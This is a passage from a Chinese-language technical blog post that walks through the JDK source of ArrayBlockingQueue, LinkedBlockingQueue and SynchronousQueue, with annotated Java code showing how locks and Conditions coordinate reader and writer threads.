是一个比较简单的线程安全容器，下面我会分析其具体的在 JDK 中的实现，这里又到了 Doug Lea 表演时间了。</p> <p><br></p> <p><strong><span style="color: rgb(255, 76, 65);">BlockingQueue 实现之 ArrayBlockingQueue</span></strong></p> <p><br></p> <p>ArrayBlockingQueue 是 BlockingQueue 接口的有界队列实现类，底层采用数组来实现。</p> <p><br></p> <p>其并发控制采用可重入锁来控制，不管是插入操作还是读取操作，都需要获取到锁才能进行操作。</p> <p><br></p> <p>如果读者看过我之前写的《<span style="color: rgb(255, 104, 39);text-decoration: underline;">一行一行源码分析清楚 AbstractQueuedSynchronizer（二）</span>》 的关于 Condition 的文章的话，那么你一定能很容易看懂 ArrayBlockingQueue 的源码，它采用一个 ReentrantLock 和相应的两个 Condition 来实现。</p> <p><br></p> <blockquote> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">https://javadoop.com/post/AbstractQueuedSynchronizer-2</span></p> </blockquote> <p><br></p> <p>ArrayBlockingQueue 共有以下几个属性：</p> <p><br></p> <blockquote> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">// 用于存放元素的数组</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">final Object[] items;</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">// 下一次读取操作的位置</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">int takeIndex;</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">// 下一次写入操作的位置</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">int putIndex;</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">// 队列中的元素数量</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">int count;</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp;</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">// 以下几个就是控制并发用的同步器</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">final ReentrantLock lock;</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">private final Condition notEmpty;</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">private final Condition notFull;</span></p> </blockquote> <p><br></p> <p>我们用个示意图来描述其同步机制：</p> <p><br></p> <p style="text-align: center;"><img class="" data-ratio="0.5552447552447553" src="/upload/e57df4e02c47bdfbd90020b8e8268ecd.png" data-type="png" data-w="1430" style="border-width: 0px;border-style: initial;border-color: initial;font-size: 0px;color: transparent;vertical-align: middle;font-family: &quot;Microsoft YaHei&quot;, 宋体, &quot;Myriad Pro&quot;, Lato, &quot;Helvetica Neue&quot;, Helvetica, Arial, sans-serif;white-space: normal;background-color: rgb(255, 255, 255);"></p> <p><br></p> <p>ArrayBlockingQueue 实现并发同步的原理就是，读操作和写操作都需要获取到 AQS 独占锁才能进行操作。如果队列为空，这个时候读操作的线程进入到读线程队列排队，等待写线程写入新的元素，然后唤醒读线程队列的第一个等待线程。如果队列已满，这个时候写操作的线程进入到写线程队列排队，等待读线程将队列元素移除腾出空间，然后唤醒写线程队列的第一个等待线程。</p> <p><br></p> <p>对于 ArrayBlockingQueue，我们可以在构造的时候指定以下三个参数：</p> <p><br></p> <ol class=" list-paddingleft-2" style="list-style-type: decimal;"> <li><p>队列容量，其限制了队列中最多允许的元素个数；</p></li> <li><p>指定独占锁是公平锁还是非公平锁。非公平锁的吞吐量比较高，公平锁可以保证每次都是等待最久的线程获取到锁；</p></li> <li><p>可以指定用一个集合来初始化，将此集合中的元素在构造方法期间就先添加到队列中。</p></li> </ol> <p><br></p> <p>更具体的源码我就不进行分析了，因为它就是 AbstractQueuedSynchronizer 中 Condition 的使用，感兴趣的读者请看我写的《<span style="color: rgb(255, 104, 39);text-decoration: underline;">一行一行源码分析清楚 AbstractQueuedSynchronizer（二）</span>》，因为只要看懂了那篇文章，ArrayBlockingQueue 的代码就没有分析的必要了，当然，如果你完全不懂 Condition，那么基本上也就可以说看不懂 ArrayBlockingQueue 的源码了。</p> <p><br></p> <blockquote> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">https://javadoop.com/post/AbstractQueuedSynchronizer-2/</span></p> </blockquote> <p><br></p> <p><strong><span style="color: rgb(255, 76, 65);">BlockingQueue 实现之 LinkedBlockingQueue</span></strong></p> <p><br></p> <p>底层基于单向链表实现的阻塞队列，可以当做无界队列也可以当做有界队列来使用。看构造方法：</p> <p><br></p> <blockquote> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">// 传说中的无界队列</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">public LinkedBlockingQueue() {</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; this(Integer.MAX_VALUE);</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">}</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">// 传说中的有界队列</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">public LinkedBlockingQueue(int capacity) {</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; if (capacity &lt;= 0) throw new IllegalArgumentException();</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; this.capacity = capacity;</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; last = head = new Node&lt;E&gt;(null);</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">}</span></p> </blockquote> <p><br></p> <p>我们看看这个类有哪些属性：</p> <p><br></p> <blockquote> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">// 队列容量</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">private final int capacity;</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp;</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">// 队列中的元素数量</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">private final AtomicInteger count = new AtomicInteger(0);</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp;</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">// 队头</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">private transient Node&lt;E&gt; head;</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp;</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">// 队尾</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">private transient Node&lt;E&gt; last;</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp;</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">// take, poll, peek 等读操作的方法需要获取到这个锁</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">private final ReentrantLock takeLock = new ReentrantLock();</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp;</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">// 如果读操作的时候队列是空的，那么等待 notEmpty 条件</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">private final Condition notEmpty = takeLock.newCondition();</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp;</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">// put, offer 等写操作的方法需要获取到这个锁</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">private final ReentrantLock putLock = new ReentrantLock();</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp;</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">// 如果写操作的时候队列是满的，那么等待 notFull 条件</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">private final Condition notFull = putLock.newCondition();</span></p> </blockquote> <p><br></p> <p>这里用了两个锁，两个 Condition，简单介绍如下：</p> <p><br></p> <p>takeLock 和 notEmpty 怎么搭配：如果要获取（take）一个元素，需要获取 takeLock 锁，但是获取了锁还不够，如果队列此时为空，还需要队列不为空（notEmpty）这个条件（Condition）。</p> <p><br></p> <p>putLock 需要和 notFull 搭配：如果要插入（put）一个元素，需要获取 putLock 锁，但是获取了锁还不够，如果队列此时已满，还需要队列不是满的（notFull）这个条件（Condition）。</p> <p><br></p> <p>首先，这里用一个示意图来看看 LinkedBlockingQueue 的并发读写控制，然后再开始分析源码：</p> <p><br></p> <p style="text-align: center;"><img class="" data-ratio="0.6997389033942559" src="/upload/cb4ee5fd3c95380532b569e760106c8b.png" data-type="png" data-w="1532" style="border-width: 0px;border-style: initial;border-color: initial;font-size: 0px;color: transparent;vertical-align: middle;font-family: &quot;Microsoft YaHei&quot;, 宋体, &quot;Myriad Pro&quot;, Lato, &quot;Helvetica Neue&quot;, Helvetica, Arial, sans-serif;white-space: normal;background-color: rgb(255, 255, 255);"></p> <p><br></p> <p>看懂这个示意图，源码也就简单了，读操作是排好队的，写操作也是排好队的，唯一的并发问题在于一个写操作和一个读操作同时进行，只要控制好这个就可以了。</p> <p><br></p> <p>先上构造方法：</p> <p><br></p> <blockquote> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">public LinkedBlockingQueue(int capacity) {</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; if (capacity &lt;= 0) throw new IllegalArgumentException();</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; this.capacity = capacity;</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; last = head = new Node&lt;E&gt;(null);</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">}</span></p> </blockquote> <p><br></p> <p>注意，这里会初始化一个空的头结点，那么第一个元素入队的时候，队列中就会有两个元素。读取元素时，也总是获取头节点后面的一个节点。count 的计数值不包括这个头节点。</p> <p><br></p> <p>我们来看下 put 方法是怎么将元素插入到队尾的：</p> <p><br></p> <blockquote> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">public void put(E e) throws InterruptedException {</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; if (e == null) throw new NullPointerException();</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; // 如果你纠结这里为什么是 -1，可以看看 offer 方法。这就是个标识成功、失败的标志而已。</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; int c = -1;</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; Node&lt;E&gt; node = new Node(e);</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; final ReentrantLock putLock = this.putLock;</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; final AtomicInteger count = this.count;</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; // 必须要获取到 putLock 才可以进行插入操作</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; putLock.lockInterruptibly();</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; try {</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; &nbsp; &nbsp; // 如果队列满，等待 notFull 的条件满足。</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; &nbsp; &nbsp; while (count.get() == capacity) {</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; notFull.await();</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; &nbsp; &nbsp; }</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; &nbsp; &nbsp; // 入队</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; &nbsp; &nbsp; enqueue(node);</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; &nbsp; &nbsp; // count 原子加 1，c 还是加 1 前的值</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; &nbsp; &nbsp; c = count.getAndIncrement();</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; &nbsp; &nbsp; // 如果这个元素入队后，还有至少一个槽可以使用，调用 notFull.signal() 唤醒等待线程。</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; &nbsp; &nbsp; // 哪些线程会等待在 notFull 这个 Condition 上呢？</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; &nbsp; &nbsp; if (c + 1 &lt; capacity)</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; notFull.signal();</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; } finally {</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; &nbsp; &nbsp; // 入队后，释放掉 putLock</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; &nbsp; &nbsp; putLock.unlock();</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; }</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; // 如果 c == 0，那么代表队列在这个元素入队前是空的（不包括head空节点），</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; // 那么所有的读线程都在等待 notEmpty 这个条件，等待唤醒，这里做一次唤醒操作</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; if (c == 0)</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; &nbsp; &nbsp; signalNotEmpty();</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">}</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp;</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">// 入队的代码非常简单，就是将 last 属性指向这个新元素，并且让原队尾的 next 指向这个元素</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">// 这里入队没有并发问题，因为只有获取到 putLock 独占锁以后，才可以进行此操作</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">private void enqueue(Node&lt;E&gt; node) {</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; // assert putLock.isHeldByCurrentThread();</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; // assert last.next == null;</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; last = last.next = node;</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">}</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp;</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">// 元素入队后，如果需要，调用这个方法唤醒读线程来读</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">private void signalNotEmpty() {</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; final ReentrantLock takeLock = this.takeLock;</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; takeLock.lock();</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; try {</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; &nbsp; &nbsp; notEmpty.signal();</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; } finally {</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; &nbsp; &nbsp; takeLock.unlock();</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; }</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">}</span></p> </blockquote> <p><br></p> <p>我们再看看 take 方法：</p> <p><br></p> <blockquote> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">public E take() throws InterruptedException {</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; E x;</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; int c = -1;</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; final AtomicInteger count = this.count;</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; final ReentrantLock takeLock = this.takeLock;</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; // 首先，需要获取到 takeLock 才能进行出队操作</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; takeLock.lockInterruptibly();</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; try {</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; &nbsp; &nbsp; // 如果队列为空，等待 notEmpty 这个条件满足再继续执行</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; &nbsp; &nbsp; while (count.get() == 0) {</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; notEmpty.await();</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; &nbsp; &nbsp; }</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; &nbsp; &nbsp; // 出队</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; &nbsp; &nbsp; x = dequeue();</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; &nbsp; &nbsp; // count 进行原子减 1</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; &nbsp; &nbsp; c = count.getAndDecrement();</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; &nbsp; &nbsp; // 如果这次出队后，队列中至少还有一个元素，那么调用 notEmpty.signal() 唤醒其他的读线程</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; &nbsp; &nbsp; if (c &gt; 1)</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; notEmpty.signal();</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; } finally {</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; &nbsp; &nbsp; // 出队后释放掉 takeLock</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; &nbsp; &nbsp; takeLock.unlock();</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; }</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; // 如果 c == capacity，那么说明在这个 take 方法发生的时候，队列是满的</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; // 既然出队了一个，那么意味着队列不满了，唤醒写线程去写</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; if (c == capacity)</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; &nbsp; &nbsp; signalNotFull();</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; return x;</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">}</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">// 取队头，出队</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">private E dequeue() {</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; // assert takeLock.isHeldByCurrentThread();</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; // assert head.item == null;</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; // 之前说了，头结点是空的</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; Node&lt;E&gt; h = head;</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; Node&lt;E&gt; first = h.next;</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; h.next = h; // help GC</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; // 设置这个为新的头结点</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; head = first;</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; E x = first.item;</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; first.item = null;</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; return x;</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">}</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">// 元素出队后，如果需要，调用这个方法唤醒写线程来写</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">private void signalNotFull() {</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; final ReentrantLock putLock = this.putLock;</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; putLock.lock();</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; try {</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; &nbsp; &nbsp; notFull.signal();</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; } finally {</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; &nbsp; &nbsp; putLock.unlock();</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; }</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">}</span></p> </blockquote> <p><br></p> <p>源码分析就到这里结束了吧，毕竟还是比较简单的源码，基本上只要读者认真点都看得懂。</p> <p><br></p> <p><strong><span style="color: rgb(255, 76, 65);">BlockingQueue 实现之 SynchronousQueue</span></strong></p> <p><br></p> <p>它是一个特殊的队列，它的名字其实就蕴含了它的特征 – - 同步的队列。为什么说是同步的呢？这里说的并不是多线程的并发问题，而是因为当一个线程往队列中写入一个元素时，写入操作不会立即返回，需要等待另一个线程来将这个元素拿走；同理，当一个读线程做读操作的时候，同样需要一个相匹配的写线程的写操作。这里的 Synchronous 指的就是读线程和写线程需要同步，一个读线程匹配一个写线程。</p> <p><br></p> <p>我们比较少使用到 SynchronousQueue 这个类，不过它在线程池的实现类 ScheduledThreadPoolExecutor 中得到了应用，感兴趣的读者可以在看完这个后去看看相应的使用。</p> <p><br></p> <p>虽然上面我说了队列，但是 SynchronousQueue 的队列其实是虚的，其不提供任何空间（一个都没有）来存储元素。数据必须从某个写线程交给某个读线程，而不是写到某个队列中等待被消费。</p> <p><br></p> <p>你不能在 SynchronousQueue 中使用 peek 方法（在这里这个方法直接返回 null），peek 方法的语义是只读取不移除，显然，这个方法的语义是不符合 SynchronousQueue 的特征的。SynchronousQueue 也不能被迭代，因为根本就没有元素可以拿来迭代的。虽然 SynchronousQueue 间接地实现了 Collection 接口，但是如果你将其当做 Collection 来用的话，那么集合是空的。当然，这个类也是不允许传递 null 值的（并发包中的容器类好像都不支持插入 null 值，因为 null 值往往用作其他用途，比如用于方法的返回值代表操作失败）。</p> <p><br></p> <p>接下来，我们来看看具体的源码实现吧，它的源码不是很简单的那种，我们需要先搞清楚它的设计思想。</p> <p><br></p> <p>源码加注释大概有 1200 行，我们先看大框架：</p> <p><br></p> <blockquote> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">// 构造时，我们可以指定公平模式还是非公平模式，区别之后再说<br></span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">public SynchronousQueue(boolean fair) {</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; transferer = fair ? new TransferQueue() : new TransferStack();</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">}</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">abstract static class Transferer {</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; // 从方法名上大概就知道，这个方法用于转移元素，从生产者手上转到消费者手上</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; // 也可以被动地，消费者调用这个方法来从生产者手上取元素</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; // 第一个参数 e 如果不是 null，代表场景为：将元素从生产者转移给消费者</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; // 如果是 null，代表消费者等待生产者提供元素，然后返回值就是相应的生产者提供的元素</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; // 第二个参数代表是否设置超时，如果设置超时，超时时间是第三个参数的值</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; // 返回值如果是 null，代表超时，或者中断。具体是哪个，可以通过检测中断状态得到。</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; abstract Object transfer(Object e, boolean timed, long nanos);</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">}</span></p> </blockquote> <p><br></p> <p>Transferer 有两个内部实现类，是因为构造 SynchronousQueue 的时候，我们可以指定公平策略。公平模式意味着，所有的读写线程都遵守先来后到，FIFO 嘛，对应 TransferQueue。而非公平模式则对应 TransferStack。</p> <p><br></p> <p style="text-align: center;"><img class="" data-ratio="0.18512898330804248" src="/upload/c7a5c89c46be5f7f3bb5af70d2110edb.png" data-type="png" data-w="1318" style="border-width: 0px;border-style: initial;border-color: initial;font-size: 0px;color: transparent;vertical-align: middle;font-family: &quot;Microsoft YaHei&quot;, 宋体, &quot;Myriad Pro&quot;, Lato, &quot;Helvetica Neue&quot;, Helvetica, Arial, sans-serif;white-space: normal;background-color: rgb(255, 255, 255);"></p> <p><br></p> <p>我们先采用公平模式分析源码，然后再说说公平模式和非公平模式的区别。</p> <p><br></p> <p>接下来，我们看看 put 方法和 take 方法：</p> <p><br></p> <blockquote> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">// 写入值</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">public void put(E o) throws InterruptedException {</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; if (o == null) throw new NullPointerException();</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; if (transferer.transfer(o, false, 0) == null) { // 1</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; &nbsp; &nbsp; Thread.interrupted();</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; &nbsp; &nbsp; throw new InterruptedException();</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; }</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">}</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">// 读取值并移除</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">public E take() throws InterruptedException {</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; Object e = transferer.transfer(null, false, 0); // 2</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; if (e != null)</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; &nbsp; &nbsp; return (E)e;</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; Thread.interrupted();</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; &nbsp; throw new InterruptedException();</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">}</span></p> </blockquote> <p><br></p> <p>我们看到，写操作 put(E o) 和读操作 take() 都是调用 Transferer.transfer(…) 方法，区别在于第一个参数是否为 null 值。</p> <p><br></p> <p>我们来看看 transfer 的设计思路，其基本算法如下：</p> <p><br></p> <ol class=" list-paddingleft-2" style="list-style-type: decimal;"> <li><p>当调用这个方法时，如果队列是空的，或者队列中的节点和当前的线程操作类型一致（如当前操作是 put 操作，而队列中的元素也都是写线程）。这种情况下，将当前线程加入到等待队列即可。</p></li> <li><p>如果队列中有等待节点，而且与当前操作可以匹配（如队列中都是读操作线程，当前线程是写操作线程，反之亦然）。这种情况下，匹配等待队列的队头，出队，返回相应数据。</p></li> </ol> <p><br></p> <p>其实这里有个隐含的条件被满足了，队列如果不为空，肯定都是同种类型的节点，要么都是读操作，要么都是写操作。这个就要看到底是读线程积压了，还是写线程积压了。</p> <p><br></p> <p>我们可以假设出一个男女配对的场景：一个男的过来，如果一个人都没有，那么他需要等待；如果发现有一堆男的在等待，那么他需要排到队列后面；如果发现是一堆女的在排队，那么他直接牵走队头的那个女的。</p> <p><br></p> <p>既然这里说到了等待队列，我们先看看其实现，也就是 QNode:</p> <p><br></p> <blockquote> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">static final class QNode {</span></p> <p><span style="font-size: 12px;color: rgb(136, 136, 136);">&nbsp; 